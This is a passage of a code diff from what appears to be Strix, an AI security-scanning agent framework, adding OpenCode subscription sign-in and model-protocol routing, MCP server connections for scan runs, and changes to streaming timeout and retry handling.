||||
if llm.disable_streaming:
|
||||
@@ -515,12 +574,10 @@ class StrixProvider(MultiProvider):
|
||||
# is done, so an idle gap is meaningless here; the request
|
||||
# timeout bounds it instead.
|
||||
idle_timeout = 0.0
|
||||
first_event_timeout = 0.0
|
||||
return _TurnGuardModel(
|
||||
model,
|
||||
max_tool_calls_per_turn=llm.max_tool_calls_per_turn,
|
||||
stream_idle_timeout=idle_timeout,
|
||||
stream_first_event_timeout=first_event_timeout,
|
||||
)
|
||||
|
||||
|
||||
@@ -568,15 +625,24 @@ RECOMMENDED_MODEL_NAMES = (
|
||||
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
|
||||
|
||||
FRONTIER_MODEL_FAMILIES = (
|
||||
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai"), ("gpt-5",)),
|
||||
(("azure", "azure_ai", "bedrock_mantle", "chatgpt", "openai", "opencode"), ("gpt-5",)),
|
||||
(
|
||||
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
|
||||
(
|
||||
"anthropic",
|
||||
"azure_ai",
|
||||
"bedrock",
|
||||
"claude",
|
||||
"databricks",
|
||||
"opencode",
|
||||
"snowflake",
|
||||
"vertex_ai",
|
||||
),
|
||||
("claude-fable-5", "claude-opus-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
|
||||
),
|
||||
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
|
||||
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
|
||||
(("moonshot", "moonshotai", "kimi"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
|
||||
(("google", "gemini", "opencode", "vertex_ai"), ("gemini-3",)),
|
||||
(("deepseek", "opencode"), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
|
||||
(("alibaba", "dashscope", "opencode", "qwen"), ("qwen3.8", "qwen3.7", "qwen3-max")),
|
||||
(("kimi", "moonshot", "moonshotai", "opencode"), ("kimi-k3", "kimi-k2.7", "kimi-k2.6")),
|
||||
)
|
||||
|
||||
|
||||
@@ -584,7 +650,14 @@ def configure_sdk_model_defaults(settings: Settings) -> None:
|
||||
"""Apply Strix config to SDK-native defaults."""
|
||||
llm = settings.llm
|
||||
set_tracing_disabled(True)
|
||||
if codex.subscription_model(llm.model):
|
||||
oc = opencode.subscription_model(llm.model)
|
||||
if codex.subscription_model(llm.model) or oc:
|
||||
# A subscription run carries its own client and credentials, so none of
|
||||
# the api_key/api_base defaults below apply. The Anthropic route is the
|
||||
# exception: it goes through LiteLLM, which still needs the
|
||||
# compatibility flags and the cost callback.
|
||||
if oc is not None and oc.protocol == opencode.PROTOCOL_MESSAGES:
|
||||
_configure_litellm_compatibility()
|
||||
return
|
||||
_configure_litellm_compatibility()
|
||||
_configure_openrouter_attribution(llm.model)
|
||||
@@ -769,6 +842,11 @@ def uses_chat_completions_tool_schema(model_name: str, settings: Settings) -> bo
|
||||
"""Return whether the resolved SDK route can only receive JSON function tools."""
|
||||
if codex.subscription_model(model_name):
|
||||
return False
|
||||
oc = opencode.subscription_model(model_name)
|
||||
if oc:
|
||||
# Chat Completions takes JSON function tools; so does the LiteLLM
|
||||
# Anthropic route, which translates them to Anthropic tool blocks.
|
||||
return oc.protocol != opencode.PROTOCOL_RESPONSES
|
||||
model = model_name.strip().lower()
|
||||
if "/" in model and not model.startswith("openai/"):
|
||||
return True
|
||||
@@ -892,6 +970,22 @@ def is_claude_model(model_name: str) -> bool:
|
||||
return "claude" in (model_name or "").strip().lower()
|
||||
|
||||
|
||||
def routes_through_litellm(model_name: str | None) -> bool:
|
||||
"""Whether :class:`StrixProvider` sends this model through LiteLLM.
|
||||
|
||||
Bare names and the ``openai/``/``any-llm/`` prefixes are served by the SDK's
|
||||
own clients, which raise ``TypeError`` on request fields they do not know,
|
||||
so LiteLLM-only fields must not be attached there. A bare ``claude-...``
|
||||
name is exactly that case: an ``LLM_API_BASE`` pointing at an
|
||||
OpenAI-compatible gateway in front of Claude.
|
||||
"""
|
||||
name = (model_name or "").strip()
|
||||
if not name or codex.subscription_model(name):
|
||||
return False
|
||||
prefix, _, rest = name.partition("/")
|
||||
return bool(rest) and prefix.lower() not in {"openai", "any-llm"}
|
||||
|
||||
|
||||
def is_bedrock_route(model_name: str) -> bool:
|
||||
name = (model_name or "").strip().lower()
|
||||
return name.startswith("bedrock/") or "anthropic." in name
|
||||
|
||||
230
strix/config/opencode.py
Normal file
230
strix/config/opencode.py
Normal file
@@ -0,0 +1,230 @@
|
||||
"""OpenCode subscription auth: API-key sign-in and the clients that route
|
||||
inference through the OpenCode gateway.
|
||||
|
||||
Covers both OpenCode offerings, Zen (pay-as-you-go credits) and Go (the
|
||||
monthly subscription), which share one account and API key but live behind
|
||||
different gateway base URLs. Unlike the ChatGPT subscription there is no
|
||||
OAuth: the user copies a plain API key from https://opencode.ai/auth, and
|
||||
using the gateway from other agents is officially supported.
|
||||
|
||||
The gateway speaks three protocols and serves each model family on exactly
|
||||
one of them (see https://opencode.ai/docs/zen/), answering a request sent to
|
||||
the wrong one with an unhandled 500 rather than a 404. ``_protocol()`` holds
|
||||
the mapping; ``SubscriptionModel.protocol`` carries the result. Claude runs on
|
||||
Anthropic's ``/messages``, which the OpenAI SDK cannot speak, so that route
|
||||
goes through LiteLLM instead of the clients built here.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import requests
|
||||
|
||||
from strix.config import codex
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
|
||||
PROVIDER = "opencode"
|
||||
|
||||
ZEN_BASE_URL = "https://opencode.ai/zen/v1"
|
||||
GO_BASE_URL = "https://opencode.ai/zen/go/v1"
|
||||
|
||||
# ``opencode/<model>`` runs on Zen credits; ``opencode-go/<model>`` on the Go
|
||||
# subscription (matching OpenCode's own ``opencode-go/`` model ids).
|
||||
ZEN_PREFIX = "opencode/"
|
||||
GO_PREFIX = "opencode-go/"
|
||||
|
||||
AUTH_CONSOLE_URL = "https://opencode.ai/auth"
|
||||
|
||||
_KEY_CHECK_TIMEOUT = 30
|
||||
|
||||
|
||||
class OpencodeAuthError(Exception):
|
||||
def __init__(self, code: str, message: str | None = None) -> None:
|
||||
self.code = code
|
||||
super().__init__(message or code)
|
||||
|
||||
|
||||
PROTOCOL_CHAT = "chat"
|
||||
PROTOCOL_RESPONSES = "responses"
|
||||
PROTOCOL_MESSAGES = "messages"
|
||||
|
||||
PLAN_ZEN = "zen"
|
||||
PLAN_GO = "go"
|
||||
|
||||
_PLAN_LABELS = {PLAN_ZEN: "OpenCode Zen", PLAN_GO: "OpenCode Go"}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class SubscriptionModel:
|
||||
slug: str
|
||||
base_url: str
|
||||
protocol: str
|
||||
plan: str
|
||||
|
||||
@property
|
||||
def uses_responses(self) -> bool:
|
||||
return self.protocol == PROTOCOL_RESPONSES
|
||||
|
||||
@property
|
||||
def messages_url(self) -> str:
|
||||
"""Anthropic-protocol endpoint for this gateway, e.g. ``.../zen/v1/messages``."""
|
||||
return f"{self.base_url}/messages"
|
||||
|
||||
@property
|
||||
def label(self) -> str:
|
||||
return _PLAN_LABELS[self.plan]
|
||||
|
||||
@property
|
||||
def metered(self) -> bool:
|
||||
"""Whether a run spends money per request.
|
||||
|
||||
Zen bills prepaid credits per request, so its runs cost real money and
|
||||
must not be reported as free. Go is a flat monthly fee, where a run's
|
||||
marginal cost genuinely is zero.
|
||||
"""
|
||||
return self.plan == PLAN_ZEN
|
||||
|
||||
|
||||
def _protocol(slug: str, base_url: str) -> str:
|
||||
"""Which wire protocol the gateway serves *slug* on.
|
||||
|
||||
The gateway routes by model family and answers a request sent to the wrong
|
||||
protocol with an unhandled 500 rather than a 404, so the mapping has to be
|
||||
right. Probed against both gateways per family:
|
||||
|
||||
* Claude on Anthropic's ``/messages``
|
||||
* GPT, Grok (Zen) and Muse on OpenAI's ``/responses``
|
||||
* DeepSeek, MiniMax, Kimi, GLM and Qwen on Chat Completions
|
||||
|
||||
Grok is absent from the Go catalog, so its Zen-only Responses route costs
|
||||
nothing there. Kimi and Qwen also answer on ``/messages``, but Chat
|
||||
Completions works for them on both plans and stays the single mapping.
|
||||
"""
|
||||
lowered = slug.lower()
|
||||
if lowered.startswith("claude-"):
|
||||
return PROTOCOL_MESSAGES
|
||||
if lowered.startswith(("gpt-", "muse-")):
|
||||
return PROTOCOL_RESPONSES
|
||||
if lowered.startswith("grok") and base_url == ZEN_BASE_URL:
|
||||
return PROTOCOL_RESPONSES
|
||||
return PROTOCOL_CHAT
|
||||
|
||||
|
||||
def subscription_model(model_name: str | None) -> SubscriptionModel | None:
|
||||
"""The gateway model behind an ``opencode/`` or ``opencode-go/`` STRIX_LLM."""
|
||||
name = (model_name or "").strip()
|
||||
lowered = name.lower()
|
||||
for prefix, base_url, plan in (
|
||||
(GO_PREFIX, GO_BASE_URL, PLAN_GO),
|
||||
(ZEN_PREFIX, ZEN_BASE_URL, PLAN_ZEN),
|
||||
):
|
||||
if lowered.startswith(prefix):
|
||||
slug = name[len(prefix) :]
|
||||
if not slug:
|
||||
return None
|
||||
return SubscriptionModel(slug, base_url, _protocol(slug, base_url), plan)
|
||||
return None
|
||||
|
||||
|
||||
def read_record() -> dict[str, Any] | None:
|
||||
record = codex.read_provider_record(PROVIDER)
|
||||
if not isinstance(record, dict) or record.get("type") != "api_key":
|
||||
return None
|
||||
key = record.get("key")
|
||||
if not isinstance(key, str) or not key:
|
||||
return None
|
||||
return record
|
||||
|
||||
|
||||
def is_authenticated() -> bool:
|
||||
return read_record() is not None
|
||||
|
||||
|
||||
def save_api_key(key: str) -> None:
|
||||
codex.save_provider_record(PROVIDER, {"type": "api_key", "provider": PROVIDER, "key": key})
|
||||
|
||||
|
||||
def logout() -> None:
|
||||
codex.remove_provider_record(PROVIDER)
|
||||
|
||||
|
||||
def get_api_key() -> str:
|
||||
record = read_record()
|
||||
if record is None:
|
||||
raise OpencodeAuthError(
|
||||
"not_authenticated", "not signed in; run: strix auth login opencode"
|
||||
)
|
||||
return str(record["key"])
|
||||
|
||||
|
||||
def validate_api_key(key: str) -> None:
|
||||
"""Check the key against the gateway's models endpoint; raise if rejected."""
|
||||
try:
|
||||
response = requests.get(
|
||||
f"{ZEN_BASE_URL}/models",
|
||||
headers={"Authorization": f"Bearer {key}"},
|
||||
timeout=_KEY_CHECK_TIMEOUT,
|
||||
)
|
||||
except requests.RequestException as exc:
|
||||
raise OpencodeAuthError("unavailable", str(exc)) from exc
|
||||
if response.status_code in (401, 403):
|
||||
raise OpencodeAuthError(
|
||||
"invalid_key", f"OpenCode rejected the API key (HTTP {response.status_code})"
|
||||
)
|
||||
if response.status_code >= 400:
|
||||
raise OpencodeAuthError("http_error", f"HTTP {response.status_code}: {response.text[:300]}")
|
||||
|
||||
|
||||
def build_openai_client(base_url: str) -> AsyncOpenAI:
|
||||
import httpx
|
||||
from openai import AsyncOpenAI
|
||||
|
||||
return AsyncOpenAI(
|
||||
api_key=get_api_key(),
|
||||
base_url=base_url,
|
||||
http_client=httpx.AsyncClient(timeout=httpx.Timeout(600.0, connect=30.0)),
|
||||
)
|
||||
|
||||
|
||||
_subscription_clients: dict[str, AsyncOpenAI] = {}
|
||||
|
||||
|
||||
def get_subscription_client(base_url: str) -> AsyncOpenAI:
|
||||
client = _subscription_clients.get(base_url)
|
||||
if client is None:
|
||||
client = build_openai_client(base_url)
|
||||
_subscription_clients[base_url] = client
|
||||
return client
|
||||
|
||||
|
||||
def auth_mode(model_name: str | None) -> str:
|
||||
"""Return "subscription" when STRIX_LLM runs on any subscription
|
||||
(OpenCode or ChatGPT), else "api_key"."""
|
||||
if subscription_model(model_name) or codex.subscription_model(model_name):
|
||||
return "subscription"
|
||||
return "api_key"
|
||||
|
||||
|
||||
def subscription_plan(model_name: str | None) -> str | None:
|
||||
"""Which OpenCode plan STRIX_LLM runs on: "zen", "go", or None.
|
||||
|
||||
Recorded alongside ``subscription_provider`` rather than folded into it, so
|
||||
consumers that compare the provider against "opencode" keep working.
|
||||
"""
|
||||
oc = subscription_model(model_name)
|
||||
return oc.plan if oc else None
|
||||
|
||||
|
||||
def subscription_provider(model_name: str | None) -> str | None:
|
||||
"""The subscription behind STRIX_LLM: "opencode", "chatgpt", or None."""
|
||||
if subscription_model(model_name):
|
||||
return PROVIDER
|
||||
if codex.subscription_model(model_name):
|
||||
return "chatgpt"
|
||||
return None
|
||||
@@ -58,12 +58,6 @@ class LlmSettings(BaseSettings):
|
||||
)
|
||||
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
|
||||
stream_idle_timeout: int = Field(default=300, ge=0, alias="LLM_STREAM_IDLE_TIMEOUT")
|
||||
# Time allowed for the first stream event (0 = use stream_idle_timeout).
|
||||
stream_first_event_timeout: int = Field(
|
||||
default=0,
|
||||
ge=0,
|
||||
alias="LLM_STREAM_FIRST_EVENT_TIMEOUT",
|
||||
)
|
||||
max_tool_calls_per_turn: int = Field(
|
||||
default=32,
|
||||
ge=0,
|
||||
|
||||
@@ -291,6 +291,12 @@ class AgentCoordinator:
|
||||
self.pending_counts[target_agent_id] = self.pending_counts.get(target_agent_id, 0) + 1
|
||||
if from_user:
|
||||
runtime.user_wake_required = False
|
||||
self.errors.pop(target_agent_id, None)
|
||||
self.wait_kinds.pop(target_agent_id, None)
|
||||
self.recovery_counts.pop(target_agent_id, None)
|
||||
self.idle_resume_counts.pop(target_agent_id, None)
|
||||
self._parent_notified.discard(target_agent_id)
|
||||
self.statuses[target_agent_id] = "waiting"
|
||||
runtime.wake.set()
|
||||
stream = runtime.stream
|
||||
interrupt_on_message = runtime.interrupt_on_message
|
||||
|
||||
@@ -20,7 +20,6 @@ from openai import (
|
||||
)
|
||||
|
||||
from strix.config import codex
|
||||
from strix.config.models import ModelStreamTimeoutError
|
||||
from strix.core.hooks import (
|
||||
BudgetExceededError,
|
||||
BudgetPausedError,
|
||||
@@ -121,7 +120,6 @@ async def _compact_session(
|
||||
|
||||
|
||||
_MAX_TRANSIENT_MODEL_RETRIES = 5
|
||||
_MAX_STREAM_TIMEOUT_RETRIES = 2
|
||||
_TRANSIENT_MODEL_RETRY_BASE_DELAY_S = 2.0
|
||||
_TRANSIENT_MODEL_RETRY_MAX_DELAY_S = 90.0
|
||||
|
||||
@@ -659,7 +657,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
image_strips = 0
|
||||
compactions = 0
|
||||
model_retries = 0
|
||||
stream_timeout_retries = 0
|
||||
while True:
|
||||
stream: Any = None
|
||||
pre_run_items: list[Any] = []
|
||||
@@ -774,27 +771,15 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
|
||||
)
|
||||
input_data = []
|
||||
continue
|
||||
is_stream_timeout = isinstance(exc, ModelStreamTimeoutError)
|
||||
if is_stream_timeout:
|
||||
retry_count = stream_timeout_retries
|
||||
retry_limit = _MAX_STREAM_TIMEOUT_RETRIES
|
||||
else:
|
||||
retry_count = model_retries
|
||||
retry_limit = _MAX_TRANSIENT_MODEL_RETRIES
|
||||
stream_timeout_retries = 0
|
||||
if retry_count < retry_limit and (is_stream_timeout or _is_transient_model_error(exc)):
|
||||
retry_count += 1
|
||||
if is_stream_timeout:
|
||||
stream_timeout_retries = retry_count
|
||||
else:
|
||||
model_retries = retry_count
|
||||
delay = _transient_model_retry_delay(retry_count)
|
||||
if model_retries < _MAX_TRANSIENT_MODEL_RETRIES and _is_transient_model_error(exc):
|
||||
model_retries += 1
|
||||
delay = _transient_model_retry_delay(model_retries)
|
||||
logger.warning(
|
||||
"transient model/provider error for %s; replaying turn "
|
||||
"(attempt %d/%d, backoff %.1fs): %r",
|
||||
agent_id,
|
||||
retry_count,
|
||||
retry_limit,
|
||||
model_retries,
|
||||
_MAX_TRANSIENT_MODEL_RETRIES,
|
||||
delay,
|
||||
exc,
|
||||
)
|
||||
|
||||
@@ -8,6 +8,7 @@ from typing import TYPE_CHECKING, Any
|
||||
from agents.model_settings import ModelSettings
|
||||
from openai.types.shared import Reasoning
|
||||
|
||||
from strix.config import opencode
|
||||
from strix.config.models import (
|
||||
DEFAULT_MODEL_RETRY,
|
||||
OPENROUTER_ATTRIBUTION_HEADERS,
|
||||
@@ -18,6 +19,7 @@ from strix.config.models import (
|
||||
is_openrouter_model,
|
||||
model_supports_reasoning,
|
||||
request_timeout_extra_args,
|
||||
routes_through_litellm,
|
||||
)
|
||||
from strix.core.sessions import scrub_images_from_items
|
||||
|
||||
@@ -267,7 +269,7 @@ def make_model_settings(
|
||||
and model_supports_reasoning(model_name)
|
||||
):
|
||||
model_settings = model_settings.resolve(
|
||||
_reasoning_settings(reasoning_effort, model_settings.extra_args),
|
||||
_reasoning_settings(reasoning_effort),
|
||||
)
|
||||
if force_required_tool_choice and _accepts_required_tool_choice(model_name):
|
||||
model_settings = model_settings.resolve(ModelSettings(tool_choice="required"))
|
||||
@@ -293,20 +295,19 @@ def _request_headers(
|
||||
return headers or None
|
||||
|
||||
|
||||
def _reasoning_settings(
|
||||
effort: ReasoningEffort,
|
||||
extra_args: dict[str, Any] | None,
|
||||
) -> ModelSettings:
|
||||
def _reasoning_settings(effort: ReasoningEffort) -> ModelSettings:
|
||||
"""``max`` is not in the OpenAI SDK's ``Reasoning.effort`` enum, so send it as
|
||||
a raw body field instead — also keeping it clear of LiteLLM's DeepSeek mapping,
|
||||
which collapses every ``reasoning_effort`` level to plain thinking-enabled.
|
||||
Providers that don't support ``max`` reject the request.
|
||||
|
||||
It goes in ``extra_body``, the field every model implementation forwards as the
|
||||
request's ``extra_body``; the same value under ``extra_args`` collides with that
|
||||
keyword and raises before a request is ever sent.
|
||||
"""
|
||||
if effort != "max":
|
||||
return ModelSettings(reasoning=Reasoning(effort=effort))
|
||||
return ModelSettings(
|
||||
extra_args={**(extra_args or {}), "extra_body": {"reasoning_effort": "max"}},
|
||||
)
|
||||
return ModelSettings(extra_body={"reasoning_effort": "max"})
|
||||
|
||||
|
||||
def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
|
||||
@@ -317,8 +318,20 @@ def _prompt_cache_extra_args(model_name: str) -> dict[str, Any] | None:
|
||||
it — elsewhere it leaks onto the wire and native Anthropic 400s). Unmapped
|
||||
Bedrock models get no points at all: Bedrock rejects the passed-through
|
||||
field outright.
|
||||
|
||||
The field is LiteLLM's own, consumed by its transform, so it only goes to
|
||||
routes LiteLLM serves. A bare ``claude-...`` name is served by the SDK's
|
||||
OpenAI client instead (a gateway in front of Claude), and that client raises
|
||||
``TypeError`` on request kwargs it does not know.
|
||||
"""
|
||||
if not is_claude_model(model_name):
|
||||
if not is_claude_model(model_name) or not routes_through_litellm(model_name):
|
||||
return None
|
||||
# OpenCode's Chat Completions and Responses routes use the raw OpenAI SDK,
|
||||
# which rejects this LiteLLM-only argument. Its Anthropic route does go
|
||||
# through LiteLLM, so the injection points apply there as they would for a
|
||||
# direct Anthropic key.
|
||||
oc = opencode.subscription_model(model_name)
|
||||
if oc is not None and oc.protocol != opencode.PROTOCOL_MESSAGES:
|
||||
return None
|
||||
if is_bedrock_route(model_name) and not bedrock_route_supports_prompt_caching(model_name):
|
||||
return None
|
||||
|
||||
@@ -57,12 +57,79 @@ if TYPE_CHECKING:
|
||||
from agents.result import RunResultBase
|
||||
|
||||
from strix.runtime.status import StatusSink
|
||||
from strix.tools.mcp import (
|
||||
ConnectedMcpServer,
|
||||
McpConnectionRequest,
|
||||
McpRegistry,
|
||||
SupervisedMcpSession,
|
||||
)
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
StreamEventSink = Callable[[str, Any], None]
|
||||
|
||||
# Receives the run's MCP connection roster as a list of non-secret status dicts
|
||||
# ({"name", "provider", "tool_count", "dead"}), once when the connections are
|
||||
# established and again each time a connection transitions to dead. An interface
|
||||
# can persist it, render it, or forward it on as connection status. Kept as a
|
||||
# snapshot of the whole roster (not a per-
|
||||
# connection delta) so every call carries a consistent, current picture.
|
||||
McpStatusSink = Callable[[list[dict[str, Any]]], None]
|
||||
|
||||
|
||||
def _mcp_roster_payload(registry: McpRegistry) -> list[dict[str, Any]]:
|
||||
"""The run's MCP roster as non-secret status dicts (name/provider/tool_count/dead)."""
|
||||
return [
|
||||
{
|
||||
"name": status.name,
|
||||
"provider": status.provider,
|
||||
"tool_count": status.tool_count,
|
||||
"dead": status.dead,
|
||||
}
|
||||
for status in registry.statuses()
|
||||
]
|
||||
|
||||
|
||||
def _mcp_startup_summary(connections: list[ConnectedMcpServer]) -> str:
|
||||
"""One user-facing line summarizing the MCP servers that connected."""
|
||||
server_count = len(connections)
|
||||
tool_count = sum(c.tool_count for c in connections)
|
||||
servers_word = "server" if server_count == 1 else "servers"
|
||||
tools_word = "tool" if tool_count == 1 else "tools"
|
||||
names = ", ".join(c.name for c in connections)
|
||||
return f"MCP: connected {server_count} {servers_word} ({tool_count} {tools_word}): {names}"
|
||||
|
||||
|
||||
def _record_mcp_connections(connections: list[ConnectedMcpServer]) -> None:
|
||||
"""Record which MCP servers this run connected, for the interfaces.
|
||||
|
||||
A server's tools are offered to the model under a name built from the
|
||||
connection name and the tool's own name, which cannot be split back apart, so
|
||||
the TUI and the run viewer need the names to match a tool call against before
|
||||
they can show which server it went out to. Kept on the run record because the
|
||||
viewer reads a finished run from disk.
|
||||
"""
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return
|
||||
report_state.record_mcp_connections([connection.name for connection in connections])
|
||||
|
||||
|
||||
def _persist_mcp_status(roster: list[dict[str, Any]]) -> None:
|
||||
"""Write the run's non-secret MCP connection status roster to run.json.
|
||||
|
||||
The viewer rebuilds its display by re-reading the run's files from disk, so
|
||||
it cannot see the in-memory ``mcp_status_sink`` the TUI consumes. Persisting
|
||||
the same non-secret roster (name / provider / tool_count / dead) gives the
|
||||
viewer a source it can poll. Runs regardless of whether an interface sink is
|
||||
attached, so the standalone / non-TUI CLI path records health too.
|
||||
"""
|
||||
report_state = get_global_report_state()
|
||||
if report_state is None:
|
||||
return
|
||||
report_state.record_mcp_connection_status(roster)
|
||||
|
||||
|
||||
def _merge_root_prompt_context(
|
||||
scope_context: dict[str, Any],
|
||||
@@ -129,6 +196,8 @@ async def run_strix_scan(
|
||||
root_instructions_override: str | None = None,
|
||||
extra_system_prompt_context: dict[str, Any] | None = None,
|
||||
status_sink: StatusSink | None = None,
|
||||
mcp_connection_requests: list[McpConnectionRequest] | None = None,
|
||||
mcp_status_sink: McpStatusSink | None = None,
|
||||
) -> RunResultBase | None:
|
||||
"""Run or resume one Strix scan against a sandbox.
|
||||
|
||||
@@ -140,6 +209,11 @@ async def run_strix_scan(
|
||||
``extra_system_prompt_context`` is merged into the root agent's scan
|
||||
context before prompt rendering. Child agents keep the standard scan prompt
|
||||
and context.
|
||||
``mcp_connection_requests`` supplies the run's MCP connections from any
|
||||
source: when given, the engine connects those requests; when ``None`` (the
|
||||
command-line default) it reads ``~/.strix/mcp-servers.json`` itself. Either
|
||||
way the engine does the connecting, so the caller passes inert configs plus
|
||||
metadata and never live sessions.
|
||||
"""
|
||||
|
||||
def report(phase: str) -> None:
|
||||
@@ -189,11 +263,13 @@ async def run_strix_scan(
|
||||
|
||||
from strix.tools.coverage.tools import hydrate_coverage_from_disk
|
||||
from strix.tools.notes.tools import hydrate_notes_from_disk
|
||||
from strix.tools.threat_model.tools import hydrate_threat_models_from_disk
|
||||
from strix.tools.todo.tools import hydrate_todos_from_disk
|
||||
|
||||
hydrate_todos_from_disk(state_dir)
|
||||
hydrate_notes_from_disk(state_dir)
|
||||
hydrate_coverage_from_disk(state_dir)
|
||||
hydrate_threat_models_from_disk(state_dir)
|
||||
|
||||
root_id: str | None = None
|
||||
if is_resume:
|
||||
@@ -262,6 +338,7 @@ async def run_strix_scan(
|
||||
configure_spill_writer(_spill_to_workspace)
|
||||
|
||||
sessions_to_close: list[SQLiteSession] = []
|
||||
mcp_sessions: list[SupervisedMcpSession] = []
|
||||
|
||||
try:
|
||||
targets = scan_config.get("targets") or []
|
||||
@@ -299,6 +376,86 @@ async def run_strix_scan(
|
||||
coordinator.set_budget_extender(hooks.extend_budget)
|
||||
|
||||
scope_context = build_scope_context(scan_config)
|
||||
|
||||
# Attach the run's MCP connections and hold their live sessions in a
|
||||
# per-run registry. The connections are source-agnostic: a caller
|
||||
# (the SaaS/pro product) can supply them as mcp_connection_requests, and
|
||||
# when it does not the command-line path reads them from
|
||||
# ~/.strix/mcp-servers.json here. Either way one shared engine routine
|
||||
# does the connecting and populating. Nothing is registered as an agent
|
||||
# tool: every agent reaches these connections on demand through the
|
||||
# list_mcps / describe_mcp / call_mcp tools, guided by brief static prompt
|
||||
# guidance when any connection exists. Fail-open: a missing config, or a
|
||||
# server that will not connect, must never break a run.
|
||||
from strix.tools.mcp import (
|
||||
McpConnectionRequest,
|
||||
McpRegistry,
|
||||
attach_mcp_requests,
|
||||
load_user_mcp_configs,
|
||||
)
|
||||
|
||||
mcp_registry = McpRegistry()
|
||||
try:
|
||||
if mcp_connection_requests is None:
|
||||
# Command-line default: read the user's file and wrap each config
|
||||
# in a bare request (no provider or transform), so this path is
|
||||
# exactly the old behavior.
|
||||
mcp_requests = [
|
||||
McpConnectionRequest(config=config) for config in load_user_mcp_configs()
|
||||
]
|
||||
else:
|
||||
mcp_requests = mcp_connection_requests
|
||||
if mcp_requests:
|
||||
connections = await attach_mcp_requests(mcp_requests, mcp_registry)
|
||||
mcp_sessions = [c.session for c in connections]
|
||||
# Recorded even when nothing connected, so a resumed run does not
|
||||
# keep attributing tool calls to servers it no longer has.
|
||||
_record_mcp_connections(connections)
|
||||
if connections:
|
||||
report(_mcp_startup_summary(connections))
|
||||
# Name the connected servers in the prompt so every agent
|
||||
# (root and children, both deriving from scope_context) sees
|
||||
# what is available at the start; they can still re-list or
|
||||
# inspect them at run time via list_mcps / describe_mcp. Set
|
||||
# only when a connection exists, so a run with no MCP leaves
|
||||
# the prompt context unchanged.
|
||||
scope_context["mcp_available"] = bool(mcp_registry)
|
||||
scope_context["mcp_connections"] = [
|
||||
{
|
||||
"name": summary.name,
|
||||
"purpose": summary.purpose,
|
||||
"tool_count": summary.tool_count,
|
||||
}
|
||||
for summary in mcp_registry.summaries()
|
||||
]
|
||||
# Feed a non-secret connection roster (name / provider /
|
||||
# tool_count / dead) to two consumers: once now (all
|
||||
# currently healthy) and again whenever a connection later
|
||||
# dies. It is always persisted to run.json so the viewer,
|
||||
# which re-reads the run's files from disk, can render the
|
||||
# MCP connections panel and health without an in-memory
|
||||
# sink. When an interface sink is attached (the TUI backend,
|
||||
# or pro forwarding into the app's event stream) it also
|
||||
# receives the same snapshot. In-use is derived separately by
|
||||
# each interface from the connection-tagged tool-call events,
|
||||
# so it is not carried here.
|
||||
def _emit_mcp_status() -> None:
|
||||
roster = _mcp_roster_payload(mcp_registry)
|
||||
_persist_mcp_status(roster)
|
||||
if mcp_status_sink is not None:
|
||||
try:
|
||||
mcp_status_sink(roster)
|
||||
except Exception:
|
||||
logger.exception("MCP status sink failed")
|
||||
|
||||
for connection_name in mcp_registry.names():
|
||||
entry = mcp_registry.get(connection_name)
|
||||
if entry is not None:
|
||||
entry.session.set_on_dead(_emit_mcp_status)
|
||||
_emit_mcp_status()
|
||||
except Exception:
|
||||
logger.exception("Failed to connect user MCP servers; continuing without them")
|
||||
|
||||
root_context = _merge_root_prompt_context(scope_context, extra_system_prompt_context)
|
||||
root_instructions = _compose_root_instructions_override(
|
||||
root_instructions_override,
|
||||
@@ -361,6 +518,7 @@ async def run_strix_scan(
|
||||
"coordinator": coordinator,
|
||||
"sandbox_session": bundle["session"],
|
||||
"caido_client": bundle["caido_client"],
|
||||
"mcp_registry": mcp_registry,
|
||||
"agent_id": root_id,
|
||||
"parent_id": None,
|
||||
"interactive": interactive,
|
||||
@@ -489,6 +647,9 @@ async def run_strix_scan(
|
||||
for s in sessions_to_close:
|
||||
with contextlib.suppress(Exception):
|
||||
s.close()
|
||||
for mcp_session in mcp_sessions:
|
||||
with contextlib.suppress(Exception):
|
||||
await mcp_session.aclose()
|
||||
with contextlib.suppress(Exception):
|
||||
await coordinator._maybe_snapshot()
|
||||
if cleanup_on_exit:
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
"""`strix auth` — ChatGPT subscription sign-in (login / status / logout).
|
||||
"""`strix auth` — subscription sign-in (login / status / logout).
|
||||
|
||||
Signing in only stores OAuth tokens (``~/.strix/subscription-auth.json``); model
|
||||
Signing in only stores credentials (``~/.strix/subscription-auth.json``); model
|
||||
selection stays with ``STRIX_LLM``. A ``chatgpt/<model>`` STRIX_LLM runs on the
|
||||
subscription.
|
||||
ChatGPT subscription; ``opencode/<model>`` (Zen credits) or
|
||||
``opencode-go/<model>`` (Go subscription) run on OpenCode.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -21,7 +22,7 @@ from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.text import Text
|
||||
|
||||
from strix.config import codex, load_settings
|
||||
from strix.config import codex, load_settings, opencode
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -32,13 +33,20 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_CALLBACK_TIMEOUT_S = 300
|
||||
|
||||
# CLI-facing name for the login provider. Internally this is the Codex OAuth
|
||||
